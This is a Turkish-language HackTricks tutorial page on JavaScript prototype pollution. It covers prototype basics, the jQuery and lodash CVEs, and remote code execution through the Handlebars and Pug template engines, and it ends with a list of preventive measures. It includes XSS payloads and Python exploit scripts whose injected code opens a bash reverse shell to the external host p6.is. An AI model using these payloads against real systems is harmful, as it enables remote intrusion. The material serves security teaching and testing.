NodeJS - __proto__ & prototype Pollution

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

JavaScript'te Nesneler

JavaScript'te nesneler temelde özellikler olarak bilinen anahtar-değer çiftlerinin koleksiyonlarıdır. Bir nesne, miras alınmış özelliklere sahip olmayan boş bir nesne oluşturmak için Object.create kullanılarak null argümanı ile oluşturulabilir. Bu yöntem, miras alınmış özelliklere sahip olmayan bir nesnenin oluşturulmasına izin verir.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

JavaScript'te Fonksiyonlar ve Sınıflar

JavaScript'te, sınıflar ve fonksiyonlar sıkı bir şekilde bağlantılıdır, fonksiyonlar genellikle sınıflar için yapılandırıcılar olarak hizmet eder. JavaScript'in yerel sınıf desteğinin olmamasına rağmen, yapılandırıcılar sınıf davranışını taklit edebilir.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototipler JavaScript'te

JavaScript, prototip özelliklerinin çalışma zamanında değiştirilmesine, eklenmesine veya silinmesine izin verir. Bu esneklik, sınıf işlevlerinin dinamik olarak genişletilmesini sağlar.

toString ve valueOf gibi işlevlerin davranışlarını değiştirmek için değiştirilebileceğinden, JavaScript'in prototip sisteminin uyarlanabilir doğasını gösterir.

Kalıtım

Prototip tabanlı programlamada, özellikler/metodlar sınıflardan nesnelere miras alınır. Bu sınıflar, özellikler/metodlar ya başka bir sınıfın bir örneğine ya da boş bir nesneye eklenerek oluşturulur.

Bir nesnenin prototip olarak hizmet veren bir nesneye (örneğin myPersonObj) bir özellik eklenirse, miras alan nesneler bu yeni özelliğe erişir. Ancak, bu özellik otomatik olarak görüntülenmez, açıkça çağrılmadıkça.

__proto__ kirliliği

JavaScript'te Prototip Kirliliğini Keşfetme

JavaScript nesneleri anahtar-değer çiftleri tarafından tanımlanır ve JavaScript Object prototipinden miras alır. Bu, Object prototipinin değiştirilmesinin çevredeki tüm nesneleri etkileyebileceği anlamına gelir.

Bunu açıklamak için farklı bir örnek kullanalım:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Erişim, Object prototipi üzerinden mümkündür:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Object prototipine özellikler ekleyerek, her JavaScript nesnesi bu yeni özellikleri miras alacaktır:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototype pollution

__proto__ kullanımının kısıtlandığı bir senaryo için, bir fonksiyonun prototype'ini değiştirmek alternatif bir yöntemdir:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Bu yalnızca Vehicle yapıcısından oluşturulan nesneleri etkiler, onlara beep, hasWheels, honk ve isElectric özelliklerini verir.

JavaScript nesnelerini genel olarak etkilemek için iki yöntem şunlardır:

  1. Doğrudan Object.prototype'yi kirletmek:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Sıkça kullanılan bir yapının yapıcı prototipini kirletme:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Diğer nesneleri kirletme

Bir sınıftan Object.prototype'a

Belirli bir nesneyi kirletebileceğiniz ve Object.prototype'e ulaşmanız gereken bir senaryoda, aşağıdaki gibi bir kod parçasıyla onu arayabilirsiniz:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Dizi elemanları kirliliği

JS'de nesnelerin özelliklerini kirletme yeteneğine sahip olduğunuz gibi, bir diziyi kirletebilirseniz, dizi değerlerini de indeksler aracılığıyla erişilebilir şekilde kirletebilirsiniz (değerleri üzerine yazamazsınız, bu yüzden kullanılan ancak yazılmayan indeksleri kirletmeniz gerekir).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elemanları kirliliği

JS aracılığıyla bir HTML elemanı oluşturulurken, innerHTML özniteliğini üzerine yazmak ve keyfi HTML kodu yazdırmak mümkündür. Fikir ve örnek bu yazıdan alınmıştır.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Örnekler

Temel Örnek

Prototip kirliliği, uygulamadaki bir hatadan kaynaklanır ve Object.prototype üzerindeki özelliklerin üzerine yazılmasına izin verir. Bu, çoğu nesnenin özelliklerini Object.prototype'den türettiği anlamına gelir.

En basit örnek, kontrol edilecek bir nesnenin tanımsız bir özelliğine bir değer eklemektir, örneğin:

if (user.admin) {

Eğer admin özelliği tanımsız ise, bir PP'yi istismar etmek ve şuna benzer bir şeyle True olarak ayarlamak mümkündür:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Bu mekanizmanın arkasındaki şey, saldırganın belirli girdiler üzerinde kontrol sahibi olduğunda, uygulamadaki tüm nesnelerin prototipini değiştirebileceği özellikleri manipüle etmeyi içerir. Bu manipülasyon genellikle JavaScript'te bir nesnenin prototipini doğrudan değiştirmekle eş anlamlı olan __proto__ özelliğinin ayarlanmasını içerir.

Bu saldırının başarılı bir şekilde gerçekleştirilebileceği koşullar, belirli bir çalışmada belirtildiği şekilde şunları içerir:

  • Yinelemeli bir birleştirme gerçekleştirme.

  • Bir yol temelinde özellikler tanımlama.

  • Nesneleri klonlama.

Fonksiyonu geçersiz kılma

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Kirliliği ile Uzaktan Kod Çalıştırma (RCE)

pagePrototype Pollution to RCE

Diğer yükler:

İstemci tarafı proto kirliliği ile XSS

pageClient Side Prototype Pollution

CVE-2019–11358: jQuery $ .extend ile Proto Kirliliği Saldırısı

Daha fazla detay için bu makaleye bakın jQuery'de, $ .extend fonksiyonu derin kopya özelliği yanlış kullanıldığında proto kirliliğine yol açabilir. Bu fonksiyon genellikle nesneleri klonlamak veya varsayılan bir nesneden özellikleri birleştirmek için kullanılır. Ancak yanlış yapılandırıldığında, yeni bir nesne için amaçlanan özellikler prototipe atanabilir. Örneğin:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Bu zafiyet, CVE-2019–11358 olarak tanımlanmış olup, derin kopyalamanın yanlışlıkla prototype'ı değiştirebileceğini ve isAdmin gibi özelliklerin uygun varlık doğrulaması olmadan kontrol edilmesi durumunda yetkisiz yönetici erişimi gibi potansiyel güvenlik risklerine yol açabileceğini göstermektedir.

CVE-2018–3721, CVE-2019–10744: lodash üzerinden Prototype pollution saldırısı

Daha fazla detay için bu makaleye bakabilirsiniz

Lodash, benzer prototype pollution zafiyetleri (CVE-2018–3721, CVE-2019–10744) ile karşılaşmıştır. Bu sorunlar 4.17.11 sürümünde çözülmüştür.

CVE'ler ile ilgili başka bir rehber

Prototype Pollution tespit etmek için Araçlar

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Web uygulamalarındaki sunucu tarafı prototype pollution zafiyetlerini tespit etmek ve analiz etmek için tasarlanmış Burp Suite eklentisi. Bu araç, potansiyel prototype pollution sorunlarını belirlemek için tarama işlemini otomatikleştirir. Bilinen gadget'ları kullanır - zararlı eylemleri gerçekleştirmek için prototype pollution'ı kullanan yöntemler - özellikle Node.js kütüphanelerine odaklanır.

  • server-side-prototype-pollution: Bu eklenti, sunucu tarafı prototype pollution zafiyetlerini tanımlar. Sunucu tarafı prototype pollution başlıklı teknikleri kullanır.

NodeJS'te AST Prototype Pollution

NodeJS, template motorları ve TypeScript gibi işlevler için JavaScript'te Abstract Syntax Trees (AST) kullanır. Bu bölüm, template motorları Handlebars ve Pug özelinde prototype pollution ile ilgili zafiyetleri keşfeder.

Handlebars Zafiyet Analizi

Handlebars template motoru, prototype pollution saldırısına açıktır. Bu zafiyet, javascript-compiler.js dosyasındaki belirli fonksiyonlardan kaynaklanmaktadır. Örneğin, appendContent fonksiyonu, pendingContent varsa birleştirirken, pushSource fonksiyonu kaynağı ekledikten sonra pendingContent'i undefined olarak sıfırlar.

Sömürü Süreci

Sömürü, Handlebars tarafından üretilen AST (Abstract Syntax Tree) kullanılarak şu adımları izler:

  1. Ayrıştırıcının Manipülasyonu: İlk olarak, ayrıştırıcı, NumberLiteral düğümü aracılığıyla değerlerin sayısal olmasını zorlar. Prototype pollution, sayısal olmayan dizelerin eklenmesine olanak tanıyarak bunu atlayabilir.

  2. Derleyici Tarafından İşlenme: Derleyici, bir AST Objesi veya bir dize şablonunu işleyebilir. input.type Program olduğunda, giriş önceden ayrıştırılmış olarak işlenir ve bu sömürülebilir.

  3. Kod Enjeksiyonu: Object.prototype'nin manipülasyonu aracılığıyla, şablon fonksiyonuna keyfi kod enjekte edilebilir ve bu da uzaktan kod yürütmeyle sonuçlanabilir.

Handlebars zafiyetinin sömürülmesini gösteren bir örnek:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Bu kod, bir saldırganın Handlebars şablonuna keyfi kod enjekte edebileceğini göstermektedir.

Harici Referans: 'flat' kütüphanesinde bulunan prototype kirliliği ile ilgili bir sorun, şurada detaylı olarak açıklanmıştır: GitHub'daki Sorun.

Harici Referans: 'flat' kütüphanesindeki prototype kirliliği ile ilgili sorun: GitHub'daki Sorun

Python'da prototype kirliliği sömürüsü örneği:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Güvenlik Zafiyeti

Pug, başka bir şablon motoru, prototip kirliliği riskiyle karşı karşıyadır. Ayrıntılı bilgi, Pug'da AST Enjeksiyonu başlıklı tartışmada bulunabilir.

Pug'da prototip kirliliği örneği:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Önleyici Önlemler

Prototip kirliliği riskini azaltmak için aşağıdaki stratejiler uygulanabilir:

  1. Nesne Değişmezliği: Object.prototype Object.freeze uygulanarak değişmez hale getirilebilir.

  2. Giriş Doğrulaması: JSON girişleri uygulamanın şemasına karşı sıkı bir şekilde doğrulanmalıdır.

  3. Güvenli Birleştirme Fonksiyonları: Güvensiz şekilde özyinelemeli birleştirme fonksiyonlarının kullanımı kaçınılmalıdır.

  4. Prototipsiz Nesneler: Prototip özellikleri olmayan nesneler Object.create(null) kullanılarak oluşturulabilir.

  5. Map Kullanımı: Object yerine anahtar-değer çiftlerini depolamak için Map kullanılmalıdır.

  6. Kütüphane Güncellemeleri: Güvenlik yamaları düzenli olarak kütüphanelere entegre edilebilir.

  7. Linter ve Statik Analiz Araçları: Prototype kirliliği zafiyetlerini tespit etmek ve önlemek için ESLint gibi uygun eklentilere sahip araçlar kullanılmalıdır.

  8. Kod İncelemeleri: Prototip kirliliği ile ilgili potansiyel riskleri belirlemek ve gidermek için detaylı kod incelemeleri uygulanmalıdır.

  9. Güvenlik Eğitimi: Geliştiricileri prototip kirliliği riskleri ve güvenli kod yazma en iyi uygulamaları konusunda eğitin.

  10. Dikkatli Kütüphane Kullanımı: Üçüncü taraf kütüphaneleri kullanırken dikkatli olun. Güvenlik durumlarını değerlendirin ve özellikle nesneleri manipüle eden kütüphanelerin kodlarını gözden geçirin.

  11. Çalışma Zamanı Koruması: Güvenlik odaklı npm paketleri gibi prototip kirliliği saldırılarını tespit edip önleyebilen mekanizmaları kullanın.

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated